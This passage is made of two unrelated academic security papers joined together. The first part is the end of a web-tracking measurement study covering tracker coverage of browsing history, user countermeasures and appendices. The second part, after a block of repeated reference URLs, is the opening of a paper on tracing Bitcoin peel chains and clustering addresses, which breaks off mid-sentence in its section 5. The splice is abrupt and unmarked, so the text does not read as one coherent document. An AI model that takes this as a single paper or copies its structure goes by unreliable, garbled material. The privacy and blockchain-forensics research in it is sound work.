In Figure 12, we plot how the known history percentage
grows in relation to how many key websites the trackers need
to work with. We also plot the existing presence of the top three
trackers on those top 5K sites. The blue curve shows that, by
cherry-picking only 200 websites, a company could observe
50% of the users browsing history. This value increases to 65%
and 78% when extending the set of key webpages to the first
1K and 5K respectively (over a total of 2.33M in our dataset),

indicating that being able to add a tracker to the top sites brings
much more additional information than collaborating with
other trackers.

As seen in Table 8, top players already show a significant
presence on the key websites. When we look closer at the track-
ing strategy of Google, Facebook, and Microsoft (Figure 12),
we identify interesting differences. First, although present in
66% of the key websites, the coverage of Google diverges from
the optimal curve after considering only 10 websites (0.2% of
the 5K): a sign that its presence is more prominent in the less
reputable website of the group. We also noticed that Microsoft
had a better coverage strategy than Facebook: although the two
organizations show a similar trend in Figure 12, the first is only
present in 17% of the key websites —half the percentage of the
second—, suggesting that it appears in more reputable web-
sites. In Table 8,we report the breakdown of categories together
with the fraction of key websites for each of them: Technol-
ogy/Internet and Business/Economy group a sheer number of
webpages, being the two most popular categories overall.
Summary: Trackers could know 50% of the browsing
history of the users in the dataset if they were present in just
200 websites. This number can increase to 78% with only
5K pages (out of 2.33M in our dataset). However, even the
top trackers do not seem to follow this ideal strategy.

7 Comparison and Discussion

While web tracking is widely considered a common phe-
nomenon, the results that we obtained by studying web tracking
from the users’ perspective show that it is considerably more
widespread than previously thought. Previous studies [16, 25,
49, 50] attempted to quantify its scale by conducting large-
scale measurements on open datasets, such as Alexa 1M [3] or
Tranco [44]. However, while one would expect that crawling
the most popular websites should provide an upper bound ap-
proximation of exposure, we found this to be wrong. For exam-
ple, Google was found to track user activities on 46% [25, 50]
of the top domains, but our study reveals that the actual knowl-
edge of the users’ histories reaches 73%. In the same way,
Facebook prevalence was estimated around 18% [49], but our
measurement shows it to be almost twice that value.

One of the main results of our study is to show that if the
impact of web-tracking is measured only by considering top
websites, the fraction of known browsing history would be
largely under-estimated. Moreover, the relationship among
the two is not always the same. As an example, Microsoft and
Pubmatic appear both in 4% of the analyzed websites, but the
former covers on average almost twice the users’ browsing
history compared to the latter (Table 3). The use of telemetry
makes it also possible to quantify the exact impact of collab-
orations among organizations on end users. Previous studies
discovered that 66% of the top-100 trackers share cookies [16]
and that users with a larger browsing profile are tracked by
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more identifier sharing domains [19]. Thanks to our analysis
we now know that this practice could increase the knowledge
that trackers have of the users’ activity by almost 50%.

Another advantage of our method with respect to previous
works is that it also allows us to shed light on the timing and
frequency with which users are tracked, thus unveiling insights
on research areas that have never been explored so far and
whose investigation is impossible by crawling top websites.
For instance, we show that users encounter almost all the
tracking organizations in just half a day of activity. Even more
worryingly, we show that the frequency with which some of
the top trackers are encountered makes it infeasible to prevent
their monitoring by simply deleting the cookie history.

The knowledge that tracker organizations have of users’
browsing interests, habits, recurrence, location and hourly
activity enables the creation of powerful profiles that get more
and more refined and available to many players willing to
purchase them. As a result, users risk to lose control of their
private information and face several serious consequences.
For example, a known use of tracking is the personalization of
search results based on users’ interests and the creation of the
so-called Filter Bubble [65], a personalized search where an
algorithm guesses what results the user would like to see based
on previously collected information. Web tracking is also mas-
sively used to serve targeted advertising, facilitate marketing,
and increase sales profit by influencing customer purchasing
behaviors. In this respect, tracking can be used to modify
product prices according to the geographical location and the
financial situation of potential customers [9, 63]. Many com-
panies also leverage this information to assess users’ financial
credibility [58, 59] and establish insurance coverage [22].

7.1 What can users do to protect themselves?

As web-tracking closely concerns users and their activities,
several tools and strategies exist to defend against this practice,
being the most important: cookie clearing, list/rules-based
blocking, and network-level masking.

Cookie clearing – In order to significantly reduce cookie-
based tracking, users could delete the cookies stored in their
browsers. However, this approach is complex to strictly follow
in the long term and it would require a lot of effort: users must
delete cookies with high frequency (i.e., less than one hour
according to our findings in Section 5) and cherry-pick the
ones to delete in each case.

List/rules-based blocking – The most common solution is
the use of browser extensions or privacy-centered browsers
that maintain an up-to-date list of tracking domains or rules
and block all the connections towards them, thus preventing
data collection about browsing sessions. Some of them rely on
large-scale crawls to analyze how the ecosystem evolves [13],
and some others principally have a crowdsourcing model [15].
These kind of solutions are easy to setup (i.e., install and

forget) and avoid the need for manually deleting cookies on
a regular basis. However, blocking resources can sometimes
generate unexpected functionality problems in the page. In
order to avoid them, solutions generally offer a page-specific
disable option, but as indicated in Section 6, a large percentage
of the browsing history in sensible categories is being tracked
by multiple companies, so users should be extremely careful
when disabling protection tools in them.

Although these solutions exist, and are practical and effec-
tive, extension or application-based blocking is not yet widely
adopted: privacy-centered browsers only represent 7.74% of
the market, and only 8.5% of the users adopt tracker-blocking
tools [26, 64]. Therefore raising awareness about the extent
of web-tracking is crucial to increase these percentages and
we believe that the quantitative insights presented in this work
could be immensely helpful to serve this purpose.

Network-level masking – Section 4 shows that the knowledge
of tracker organizations spans a high percentage of the users’
browsing history, reaching up to 63% in the case of Google.
Therefore, some protections can be implemented at the network
level to protect a larger portion of users and devices. Protective
measures can be installed in home routers [43] or adopted as a
privacy layer in companies. Despite being flexible and allowing
protection of multiple devices at the same time, those tools are
more difficult to set up, and require users to regularly maintain
them, discouraging regular web users in adopting them.

There are also some solutions to mask the user’s real
IP address from the remote site, thus preventing IP-based
tracking. This goal is achieved by using anonymous proxy
servers (which act as intermediary and offer anonymization
services by removing sensitive information), virtual private
networks (VPNs) (whose nodes result to be hosts of a single
network, regardless of their physical locations), or Tor [1]
(whose browser prevents tracking by routing the traffic through
a chain of relays which protects the real user’s IP address).
Even if this is only one part of online tracking, some studies
have already proven that a large percentage of users retain
their same IP addresses for more than a month [35], allowing
companies to use it as an identifier. When adopting this type
of solutions, users should additionally use a list/rules-based
blocking tool on top, to also avoid general types of tracking.

8 Conclusions

Despite the existence of these solutions and the users’
awareness of online tracking practices, the adoption of such
countermeasures is still limited. A possible reason is that
users might feel they are not directly impacted. Our goal is
to provide a more accurate measure of how web-tracking
directly impacts them, and with evidence about how their
online privacy is affected. We hope our findings can enable
better decision making and foster a larger adoption of existing
privacy-preserving services.
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Appendix

A Geographic location implications

Around 95.5% of the websites show identical or very similar
trackers when accessed from US and a different country
among France, Brazil and Australia. We verify to what extent
the crawling from different geographic locations influences
the veracity of our findings: we select users from one of
the three countries and run all the experiments of our study,
comparing the curve obtained considering trackers scanned
from users’ respective countries and from US.

At a glance, trends show no substantial difference, thus a
similar shape regardless of the scanning location, confirming
the goodness of our analysis. While exhibiting the same
behavior (e.g., exponential in Figures 1, 2, 6 and 7, logarithmic
in Figure 3, normal in Figure 9), we only notice a very subtle
shift for some portions of the curves. Likely, the explanation
is due to the fact that for websites on which we detect very
different tracking organizations if scanned from different
locations (∼4.5%), those scanned from US have a few more
trackers than the ones scanned from one of the three countries.

However, considering the restricted portion of domains for
which this discrepancy exists, its implications are almost neg-
ligible: indeed, for the curve that considers trackers scanned
from US, we register an average of <1 [<3] increase of new
trackers encountered per ith browsing hour [website] when
i<10 [i<5] (Figures 1 and 2). On the contrary, we measure an
average decrease of <2% when evaluating the percentage of
trackers deleted when the cleaning frequency is>100 websites
and>18 hours. We finally register a<2% rise when assessing
the percentage of known history among the top 20 trackers.

USENIX Association 31st USENIX Security Symposium    2205

https://intoli.com/blog/making-chrome-headless-undetectable/
https://intoli.com/blog/making-chrome-headless-undetectable/
https://intoli.com/blog/not-possible-to-block-chrome-headless/
https://intoli.com/blog/not-possible-to-block-chrome-headless/
https://www.tenantbase.com/tech/blog/cat-and-mouse/
https://www.tenantbase.com/tech/blog/cat-and-mouse/
https://www.webfx.com/blog/seo/2019-search-market-share/
https://www.webfx.com/blog/seo/2019-search-market-share/
https://www.symantec.com/content/dam/symantec/docs/white-papers/webpulse-en.pdf
https://www.symantec.com/content/dam/symantec/docs/white-papers/webpulse-en.pdf
https://www.symantec.com/content/dam/symantec/docs/white-papers/webpulse-en.pdf
https://www.lexingtonlaw.com/blog/finance/financial-profiling.html
https://www.lexingtonlaw.com/blog/finance/financial-profiling.html
https://www.jdsupra.com/legalnews/customer-profiling-for-credit-decisions-85940/
https://www.jdsupra.com/legalnews/customer-profiling-for-credit-decisions-85940/
https://www.w3.org/Security/wiki
https://en.wikipedia.org/wiki/Filter_bubble
https://en.wikipedia.org/wiki/Filter_bubble
http://adforecast.zenithmedia.com/
http://adforecast.zenithmedia.com/


B Users’ Geographical Breakdown

Table 9: Overview of the continents and their top-2 countries
ordered by percentage of users in our dataset.

Country
Continent % Users % Trackers Categories

North America 44.16
United States 37.08 80.30 92
Canada 2.63 59.84 92
Mexico 2.61 43.75 91

Asia 20.87
Philippines 6.27 58.54 93
India 3.97 51.16 92
Malaysia 2.70 40.16 88

Europe 18.69
Great Britain 4.10 66.33 91
France 2.35 51.17 90
Italy 1.72 46.71 88

South America 9.33
Peru 2.05 43.83 91
Brazil 1.95 39.40 90
Colombia 1.91 38.62 85

Africa 5.00
Nigeria 1.59 30.08 83
South Africa 1.15 39.76 89
Egypt 0.66 34.05 91

Oceania 2.74
Australia 2.12 53.34 91
New Zealand 0.44 37.83 90
Fiji 0.10 22.37 75

C Website categorization

Website categories are provided by a public classification
service from the security vendor [57]. The service supports
over 60 languages and is composed of more than 300 special-
ized modules that disassemble web pages and analyze their
components. The main features used to feed the classification
algorithm are: webpage language, source code language, docu-
ment type, character set, external link categories, content words,
scripts and iframes. In addition, the categorization is fine-tuned
by an offline system, which simultaneously analyzes multiple

pages looking for connections and additional evidence to sup-
plement what was collected in real time. HTTP referrer headers
and hyperlinks are examples of attributes used in this phase.

D Website security risk scores

Website security risk scores are obtained by querying a public
risk-level calculator service offered by the security com-
pany [56]. The service uses cloud-based artificial intelligence
(AI) engines to categorize websites by combining multiple
data sources. At first, historical information of the domain
is used to detect the existence of malicious behaviors, e.g.,
whether its DNS resolutions belong to malicious networks and
the website has already been identified as source of malware,
scams or phishing. The webpage is then queried and the
characteristics of its content together with features extracted
from the server behavior are analyzed (e.g., shady file content,
network errors, lie detector analysis). The AI algorithm then
outputs a risk score between 1 and 10, going from websites
with huge traffic and long history of good behavior (risk 1),
through webpages with evidence of shady behavior (risk 5),
to domains with solid evidence of maliciousness (risk 10).

E Users’ browsing days and hours distribution

Figure 13, summarizes the users’ activity in terms of mean
browsing days and hours For each user, we report the number
of days and hours per day in which we observe at least one
record in the telemetry, and report the distribution of the whole
dataset in the form of a boxplot.
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Figure 13: Overview of the average number of active days and
hours per day for all the users in our dataset. Orange horizontal
lines represent medians for each group. The lower and upper in-
terquartile ranges are respectively the 25th and 75th percentile.
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Abstract
One of the defining features of Bitcoin and the thousands of

cryptocurrencies that have been derived from it is a globally
visible transaction ledger. While Bitcoin uses pseudonyms
as a way to hide the identity of its participants, a long line
of research has demonstrated that Bitcoin is not anonymous.
This has been perhaps best exemplified by the development
of clustering heuristics, which have in turn given rise to the
ability to track the flow of bitcoins as they are sent from one
entity to another.

In this paper, we design a new heuristic that is designed
to track a certain type of flow, called a peel chain, that rep-
resents many transactions performed by the same entity; in
doing this, we implicitly cluster these transactions and their
associated pseudonyms together. We then use this heuristic
to both validate and expand the results of existing clustering
heuristics. We also develop a machine learning-based valida-
tion method and, using a ground-truth dataset, evaluate all our
approaches and compare them with the state of the art. Ulti-
mately, our goal is to not only enable more powerful tracking
techniques but also call attention to the limits of anonymity
in these systems.

1 Introduction

Since its introduction in 2008, Bitcoin has used a pseudony-
mous system for transferring coins, with entities forming
transactions in which they and their recipient(s) are identified
using just a set of pseudonyms or addresses that have no in-
herent link to their identity. It has been demonstrated by now,
however, that this use of pseudonyms does not make Bitcoin
anonymous. This has in large part been driven by the devel-
opment of various clustering heuristics that identify multiple
pseudonyms operated by the same entity [2,10,14,31,44–46],
with research also showing that de-anonymization is possible
at the network layer [5, 25]. These clustering heuristics use
patterns of usage present in the Bitcoin blockchain as evi-
dence of the shared ownership of the pseudonyms they clus-
ter together; one heuristic that has been particularly widely

adopted is the so-called co-spend heuristic, which says that
all addresses used as input to the same transaction belong
to the same entity. This heuristic has been so effective that
companies such as Chainalysis now use it — and heuristics
derived from it — to provide Bitcoin tracking as a service
to both law enforcement agencies and financial institutions,
such as cryptocurrency exchanges, looking to comply with
anti-money laundering (AML) regulations. These heuristics
can be used not only to cluster together pseudonyms operated
by the same entity but, as a consequence, to track flows of
bitcoins as they are transferred from one entity to another.

This ability to track flows of bitcoins has been used in sev-
eral high-profile investigations, such as the indictment of Ross
Ulbricht as the operator of the Silk Road marketplace [15];
the blocked movement of funds paid to the WannaCry ran-
somware operators [9]; the takedown of one of the largest
websites hosting child sexual abuse material [50]; and the
takedown of several terrorist financing campaigns [51]. More
recently, Roman Sterlingov was arrested based on allegations
that he served as the operator of the Bitcoin Fog mixing ser-
vice for ten years [16]. Despite the arrest taking place in April
2021, the allegations were supported by evidence taken from
the Bitcoin blockchain as early as 2011 [4]. This investigation
thus makes clear just what is possible when all transactions
are stored in a globally visible and immutable ledger.

In this paper, we extend known heuristics for tracking flows
of bitcoins by formalizing in Section 5 the notion of a peel
chain, which is a set of linked transactions that are all initiated
by the same entity, and presenting heuristics for identifying
peel chains and following them forwards and backwards. As
compared with previous heuristics, ours are based not on
properties of individual transactions or addresses within trans-
actions, but rather on general features associated with a cluster
formed by the co-spend heuristic. In particular, we describe
in Section 4 how we assign features to a cluster based on the
transactions and addresses it contains.

We also describe in Section 4 our main dataset, which
consists of 120 clusters formed by the co-spend heuristic.
Using data provided to us by Chainalysis, we know that 60 of
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these clusters are true positives, meaning all addresses they
contain really do belong to the same entity, and that 60 of
them are false positives, meaning they contain one or more
Coinjoin transactions and thus all addresses do not actually
belong to the same entity. This access to ground-truth data
provides us with the rare ability to evaluate the accuracy of
our heuristics, as well as ones that were previously proposed.

In particular, we argue how our basic heuristic for identify-
ing and following peel chains can be used to both validate and
expand traditional clustering heuristics such as the co-spend
heuristic. In this first usage, presented in Section 6.2, we argue
that we can use the ability to identify peel chains to increase
our confidence in the results of the co-spend heuristic. We
also present in Section 6.1 a machine learning approach for
validating a cluster as a whole; i.e., for classifying it as ei-
ther a true positive or a false positive. Using our ground-truth
dataset, we are able to evaluate this classifier and show that it
achieves an accuracy of 89%.

In the second usage as an expansion heuristic, we demon-
strate how the ability to identify peel chains can be used to
expand the results of the co-spend heuristic. In particular, fol-
lowing a peel chain forwards means identifying the change
output in each transaction in the chain, so our algorithm in-
cludes an implicit change heuristic. As compared with previ-
ous change heuristics [2,10,14,31], we demonstrate using our
ground-truth dataset that our change heuristic achieves a false
discovery rate of only 0.02%; the next-best heuristic achieves
a false discovery rate of 12.7%. We then apply this expansion
heuristic to investigate ransomware addresses and to track the
funds withdrawn from an exchange account associated with
Roman Sterlingov to their deposit into the Bitcoin Fog mixing
service, showing that our heuristic is able to link these two
transactions whereas all previous heuristics would be unable
to do so.

To summarize, we make the following contributions:

• We provide a heuristic, based on a robust set of features,
for both identifying peel chains and following them for-
wards and backwards.

• We present a machine learning-based classifier and a val-
idation heuristic, both of which can be used to influence
the confidence we can have in the results of the co-spend
heuristic.

• We present a heuristic for expanding co-spend clusters,
and evaluate it using a custom-built ground-truth dataset.
Our comparison with previous heuristics shows that ours
is significantly more effective and significantly safer.

The techniques we develop are directly applicable in cryp-
tocurrency investigations, and thus have the potential to be
adopted and used in them. Above all, however, we hope
that our work helps to correct the misperception of Bit-
coin [1, 26, 30] as “anonymous and almost untraceable” [11]

and a way to allow “people [to] receive digital payments
without revealing their identity” [32].

2 Related Work

2.1 Bitcoin clustering

The ability to cluster together the addresses used as an in-
put to a transaction was first observed in the original Bit-
coin whitepaper [35], and has been used in many subse-
quent works [2, 31, 44–46]. Beyond this co-spend heuris-
tic, researchers have developed other heuristics for cluster-
ing together Bitcoin addresses. In particular, Meiklejohn et
al. [31] and Androulaki et al. [2] defined a heuristic for iden-
tifying which output in a Bitcoin transaction represented the
change being made; this change heuristic then said that this
output was controlled by the same entity as the input ad-
dresses. This heuristic was later refined by by Goldfeder
et al. [14] and Ermilov et al. [10]. There have been many
academic studies using these heuristics in order to track
crime [20,21,38,39,42,54]. Finally, in concurrent work Möser
and Narayanan propose a machine learning-based heuristic
for identifying change outputs that uses some of the same
transaction and address features as in our work [33].

Beyond proposing new clustering heuristics, a number of
studies have attempted to quantify their effectiveness and
accuracy. Nick [36] measured the accuracy of different clus-
tering algorithms using a ground-truth dataset consisting of
37,585 user wallets, which was obtained via a vulnerabil-
ity in the BitcoinJ light client implementation. The results
showed that on average more than 69% of the addresses could
be linked using only the co-spend heuristic. Harrigan and
Fretter [19] studied reasons for the effectiveness of the co-
spend heuristic and concluded that address reuse and avoid-
able merging were the main drivers. Fröwis et al. [13] dis-
cussed the effectiveness of the combined use of clustering
heuristics and attribution tags as forensic tools. By empir-
ically quantifying the effect of Coinjoin transactions, they
showed that clustering heuristics can lead to false interpreta-
tion and pointed to the need for additional metrics to quantify
the reliability of clustering results.

2.2 Bitcoin entity classification

Bartoletti et al. [3] investigated data mining techniques to
automatically detect Ponzi schemes carried out using Bitcoin.
Using supervised learning algorithms, the authors could cor-
rectly classify Ponzi schemes with a very low rate of false
positives. A number of other studies use supervised learn-
ing in order to classify unknown addresses according to the
entities they belong to [18, 49, 53]. Unsupervised learning
methods have also been used in Bitcoin to attempt to identify
fraud [40, 41, 56].
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Ranshous et al. [43] applied the notion of motifs in directed
hypergraphs to identify distinct statistical properties related
to Bitcoin exchange addresses. They build different classifica-
tion models (Random Forest, AdaBoost, Linear SVM, Percep-
tron, Logistic Regression) using a set of features, obtaining
the best results with Random Forest and AdaBoost. Jourdan
et al. [22] consider the more general problem of classifying
entities in multiple classes on the basis of properties of their
extended transaction neighborhoods.

3 Background

3.1 Bitcoin transactions
A Bitcoin transaction tx consists of ordered lists of inputs
(tx.inputs) and outputs (tx.outputs). We use tx.inputs[i] to
denote the i-th input and do the same for tx.outputs. Each
output output in a transaction is associated with an ad-
dress output.addr and a value output.value representing the
amount of coins received by the address in this transaction.
Each input to a transaction is similarly associated with an
address input.addr and a value input.value representing the
amount of coins being sent by the address in this transaction.
Furthermore, an input is itself a transaction output (TXO);
i.e. an input points to the transaction in which its associated
address received coins. Other peers in Bitcoin’s peer-to-peer
network can then check that all inputs to a transaction are
well formed and are unspent (meaning they are UTXOs), be-
fore propagating the transaction to other peers and eventually
enabling its inclusion in the blockchain. This ensures that
double-spending is not included in the blockchain, which acts
as a global ledger of all transactions.

Concretely, this means that transactions point both back-
wards, in terms of the input UTXOs pointing to the past
transactions in which they received the coins they are now
spending, and forwards, in terms of the UTXOs in future
transactions that reference any output addresses that get spent.
We denote the transaction that an input input points back-
wards to by input.prev, and the transaction that an output
output points forwards to by output.next (if it is spent). We
also denote by input.prevIdx the index of an input input in
input.prev.outputs; i.e., the index of its transaction output in
the transaction in which it was created. For the rest of this
work, when we refer to following an input to a transaction we
mean looking backwards at the past transaction that created
this UTXO, and when we refer to following an output we
mean looking forwards to any UTXOs that reference it.

3.2 Clustering Bitcoin addresses
A valid Bitcoin transaction needs to be signed using the pri-
vate keys associated with all its inputs. This has given rise to
a common heuristic for clustering together Bitcoin addresses,
known as the multi-input or co-spend heuristic [2, 31, 44–46].

This heuristic states that all inputs to a transaction are con-
trolled by the same entity, using the fact that they have all
signed the transaction as evidence of shared ownership.

Although this heuristic is considered safe in general and
has been adopted in practice, it can be invalidated by a spe-
cific type of transaction called a Coinjoin. When forming a
Coinjoin, users work together to create a transaction in which
they each control a different input and the outputs likewise
represent different recipients. This acts to mix together the
coins of these users and thus destroys the link between each
individual sender and recipient. Furthermore, it invalidates
the co-spend heuristic as it is no longer the case that all inputs
are controlled by the same entity.

Beyond the co-spend heuristic, there are a number of pro-
posed change heuristics [2,10,31]; i.e., heuristics for identify-
ing which output in a transaction that the sender uses to send
themselves their change (the value of their UTXO subtracted
by the amount they are sending to the recipient). As observed
by Meiklejohn et al. [31], identifying such outputs not only
makes it possible to include this address in the same cluster
as the sender and thus enhance the co-spend heuristic, it also
makes it possible to identify that the transaction in which
this change output is spent is also performed by the same
entity. We describe this pattern of following peel chains in
more detail in Section 5, and describe these proposed change
heuristics in more detail in Section 7.2 when we compare our
own heuristic against them.

4 Dataset and Methodology

To start, we were given 241 Bitcoin addresses and 20,016
Bitcoin transactions by Chainalysis, a company that provides
blockchain data and analysis to businesses and government
agencies.1 The addresses represented true positive clusters,
in the sense that Chainalysis had manually verified that all
the addresses in the same co-spend cluster as this address
really did belong to the same service (typically by confirming
directly with the service). The transactions were all Coinjoins
and thus represented false positive clusters, meaning all of the
addresses in the resulting co-spend cluster would not actually
belong to the same service. Each address formed a distinct
cluster, and there was no overlap between the addresses in
the true positive (TP) clusters and the ones used as inputs in
the false positive (FP) transactions. This ground-truth dataset
was necessary for evaluating our heuristics, and would not
have been possible to get at this scale without working with
Chainalysis or directly with the services themselves. None
of the clusters represented individual users, and we had no
additional information about the entities represented by the
clusters (e.g., the name of the service).

From this initial dataset, we created clusters using the co-
spend heuristic and represented each cluster C as a tuple

1https://www.chainalysis.com/
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(Caddr,Ctx) where Caddr is the set of all addresses in the clus-
ter and Ctx is the set of all transactions initiated by one or
more addresses in Caddr. This resulted in 241 TP clusters and
16,974 false positive FP clusters. We describe in Section 4.2
how from this initial dataset we created a more balanced
dataset of 60 true positive (TP) and 60 false positive (FP)
clusters that we then used in the remainder of our analysis. In
order to do so, we first describe the features we defined for
transactions, addresses, and the overall cluster.

4.1 Features

We consider features of three different types of objects within
Bitcoin: transactions, addresses, and clusters. These features
are largely defined by the wallet software used by a given en-
tity and the decisions they make in scripting their transactions,
and as we will see the set of possible features is largely stable
within even large clusters. This consistency is crucial in the
algorithms we develop for following peel chains in Section 5.
Our set of chosen features is based on Bitcoin usage today,
but we stress that new features can be incorporated as Bitcoin
evolves without changing our overall approach.

4.1.1 Transaction features

Every Bitcoin transaction has a different set of features, ac-
cording to both the action it is performing and the wallet
program and version used to generate it. We consider the
following four features.

Replace-by-fee/sequence number. At any given point in
time, there can be multiple versions of the same transaction
in the Bitcoin network; for example, if a user broadcasts a
transaction to the network but it never gets included in a
block, they may broadcast a new version with an increased
fee in the hopes of increasing its chances. The sequence
number helps identify different versions of a transaction,
with a higher sequence number indicating that the transac-
tion is more recent. If a user does not want transactions to
be able to be replaced they can thus set the sequence num-
ber to be the maximum value (0xffffffff). The sequence
number is set for each transaction input, and the transaction
is considered to be replaceable if any of its inputs have
a sequence number less than this maximum value [17].
We thus set this feature to be true for a transaction if it is
replaceable and false if it is not.

Locktime. A transaction can set a locktime (or time lock)
to indicate that it cannot be spent before a block at some
height has been mined. We set this feature to be true if a
locktime has been set and false if not.

Version. The version of a transaction, which is either 1 or 2,
determines the rules used to validate the transaction [12].

Address type TP (%) FP (%)

pubkey hash (compressed) 41.15 1.19
pubkey hash (uncompressed) 0.0 0.010
witness pubkey hash (compressed) 5.76 37.44
witness pubkey hash (uncompressed) 37.04 61.36
multisig (2/2) 5.6 0.0
multisig (2/3) 2.8 0.0
multisig (3/4) 0.1 0.0
multisig (2/6) 0.24 0.0
SegWit multisig (2/2) 2.22 0.0
SegWit multisig (2/3) 5.12 0.0

Table 1: Types of addresses found across all clusters.

SegWit. SegWit (Segregated Witness) [29] allows a transac-
tion to be separated into its semantic data (i.e., information
about who is sending and receiving bitcoins) and its signa-
ture data. A transaction can indicate if it uses SegWit by
setting its fifth byte to 0x00. We set this feature to be true
if SegWit is enabled and false if not.

We thus represent the features of a transaction tx as a
4-tuple containing binary values (1/2 for the version and
true/false for the rest) in each entry. We denote by featurestx
the function used to extract these features from a transaction.

4.1.2 Address features

The BlockSci tool [23] categorizes Bitcoin scripts into ten
generic types: pubkey, pubkey hash, witness pubkey hash,
multisig, multisig pubkey, script hash, witness script hash, wit-
ness unknown, non-standard, and nulldata (with the witness
prefix indicating that it uses SegWit). Some of these cate-
gories can be further broken down according to whether the
address is compressed or uncompressed. To briefly explain
some of the more common types, the pubkey format allows
users to send coins to a public key. Both pubkey hash and
witness pubkey hash allow users to instead send coins to the
hash of a public key. The script hash and witness script hash
formats allow users to send coins to the hash of an arbitrary
script. These coins can then be spent only by the owner(s)
of the underlying script. A common script in Bitcoin is an
m-of-n multisig. Using a multisig address, a user or set of users
can require that at least m of the n available keys specified in
the script must sign a transaction in order to spend the coins
from that address.

Across our set of 246,600 addresses, we identified 10 dis-
tinct combinations of these categories that were used, as sum-
marized in Table 1. We thus represent the features of an ad-
dress as its address type, which takes one of these ten values.
We denote by featuresaddr the function used to extract the
feature from an address.
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4.1.3 Cluster features

Each cluster contains a set of addresses and a set of trans-
actions. From these sets Ctx and Caddr, we can extract the
relevant features (which we did using BlockSci) to build the
sets TFC and AFC of all transaction and address features
present in the cluster.

In addition to these sets of features, we define for each
cluster a change strategy, which we denote by changeC. This
cluster-level feature considers the pattern, if any, the trans-
actions in this cluster exhibit when forming change outputs.
We identify a change output in a transaction in Ctx if there
is exactly one output whose address belongs to the cluster
(i.e., is in Caddr). If there are zero or multiple such addresses
then we ignore this transaction for the purposes of setting the
change strategy.

Intuitively, some wallet software may send the change in
a transaction to a specific output index by default; e.g., the
first or last output. As many entities are likely to use scripts
or other automated methods to form transactions, it may be
the case that their transactions thus have patterns in terms of
the index of the change output. To this end, we define four
different values for the cluster’s changeC:

changeC =−1. For every transaction in Ctx with a single
identified change output, it was always at the last index.

changeC = 0. For every transaction in Ctx with a single iden-
tified change output, it was always at the first index.

changeC = 1. For every transaction in Ctx with a single iden-
tified change output, it was always at either the first or the
last index.

changeC = None. There was at least one transaction in Ctx

that did not follow the patterns above; i.e., with a single
identified change output that was at neither the first nor the
last index.

4.2 Creating a cluster dataset
In building a dataset of clusters, our goal was to have it be
as balanced as possible, in terms of the features introduced
in the previous section. This was particularly important in
our validation of the co-spend heuristic in Section 6, in which
we differentiate between TP and FP clusters based on their
features and need to avoid overfitting. Concretely, we focused
on creating a balance between true and false positives for the
following three parameters: (1) the number of clusters in each
category, (2) the sizes of both Caddr and Ctx, and (3) the period
of time in which which the cluster was active. We refer to the
last property as the cluster’s lifespan. The first two properties
are generally important in creating a balanced dataset, and
this last property is also essential as behavior in Bitcoin trans-
actions has changed significantly over time. Ensuring that the
lifespans of TP and FP clusters had a significant overlap was

thus the only way to ensure a fair comparison; e.g., making it
so we could not trivially distinguish because all TP clusters
had one transaction feature set to true and all FP clusters had
it set to false.

To start, we set a minimum threshold of 10 for both Ctx

and Caddr and discarded all clusters that were smaller. This
left us with 183 TP clusters (out of 241) but only 75 FP clus-
ters (out of 16,974). This overrepresentation of singleton FP
clusters was largely due to the way in which we obtained data
from Chainalysis, as we asked for false positive transactions
(i.e., Coinjoins) but true positive addresses that would form
a meaningful cluster (i.e., not a singleton). Additionally, the
vast majority of the inputs to the Coinjoin transactions were
one-time addresses, meaning the resulting cluster was such
that |Ctx|= 1. After obtaining these 183 TP and 75 FP clus-
ters, we further observed that they were highly imbalanced in
the parameters we considered, as shown in Figure 1a.

This figure shows that not only are there more TP clusters,
but also they are much larger on average than the FP clusters.
For example, in our initial dataset, TP clusters had up to 3.2M
transactions (with an average of 56K) whereas FP clusters
had only up to 283K (with an average of 19K). To this end,
we removed the 108 biggest TP clusters from our analysis
(in terms of |Caddr|+ |Ctx|). This created a dataset of 75 TP
and 75 FP clusters, each of comparable size (in terms of both
Caddr and Ctx), as we see in Figure 1b.

This approach created a balance in terms of the first prop-
erty, but did not address the issue of having overlapping lifes-
pans: as we see in Figure 1c, there are several TP clusters
whose lifespan ended before any FP clusters even began. We
can also see this has a direct impact on our transaction fea-
tures, as several of our TP clusters existed before SegWit was
introduced but none of our FP clusters did. To address this
imbalance, we removed the TP clusters whose lifespan didn’t
overlap with the lifespan of any FP clusters. We ended up
with 60 TP and 60 FP clusters that were balanced in all three
properties, as shown in Figure 1b and Figure 1d. In the end,
all clusters had between 15 and 3415 addresses (with an aver-
age of 258.6 for FP clusters and 642.6 for TP ones), between
11 and 3448 transactions (with an average of 307.7 for FP
clusters and 692.4 for TP ones), and operated at some point
between April 2017 and April 2021.

Feature statistics. In terms of transaction features, we
found each of the possible 16 4-tuples in at least one of our
clusters. Most clusters (76 out of 120) used only a single com-
bination of transaction features, however, and all clusters used
six or fewer. The average number of features was 1.55 for FP
clusters and 1.67 for TP clusters. This suggests that clusters
are largely consistent in their transaction behavior. We found a
similar level of consistency when looking at address features:
56.7% of TP clusters and 53.3% of FP clusters used only one
address type, and all clusters used three or fewer.

We found that 18 of our TP clusters had a completely
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Figure 1: Balancing the sizes (Figures 1a and 1b, with the y-axis on a log scale) and lifespans (Figures 1c and 1d) for our true
positive (TP) and false positive (FP) clusters. Figures 1a and 1c represent the cluster sizes and lifespans before balancing, and
Figures 1c and 1d represent these values after balancing. In Figure 1c, the vertical line represents the date on which SegWit was
introduced.

consistent change strategy (changeC = 0 or −1) and 30 had
changeC = 1; this left 12 with no change strategy. As might
be expected, FP clusters were less consistent (given that they
actually contained different sets of users): 34 had no identifi-
able change strategy, 8 had a completely consistent change
strategy, and 18 had changeC = 1.

To understand the overlap in features across different clus-
ters, we looked at the Jaccard similarity between the sets of
5-tuples representing their combined transaction and address
features. We found that the average Jaccard similarity across
all pairs of clusters was 0.13, which suggests that they are
relatively dissimilar in these features. There were several no-
table exceptions, however, and in particular cases where the
features were not only overlapping but in fact identical. For
example, there were 26 clusters whose transactions all had the
same combination of features (Version 1 and SegWit-enabled
transactions that had no locktime and were not replaceable)
and whose addresses were all of the same type (uncompressed
witness pubkey hash). This is unsurprising as it represents the
default setting of the standard Bitcoin wallet software.

5 Following Peel Chains

In this section, we define the concept of a peel chain and
present our heuristics for identifying them, according to the
features defined in the previous section.

5.1 Defining a peel chain
The concept of a peel chain was first introduced by Meikle-
john et al. [31] as a series of transactions originating from
a transaction with a relatively large UTXO as input (i.e., a
UTXO with a large associated value). When this UTXO is
spent it creates two outputs: a small one representing a pay-
ment to an external entity and a larger one representing the

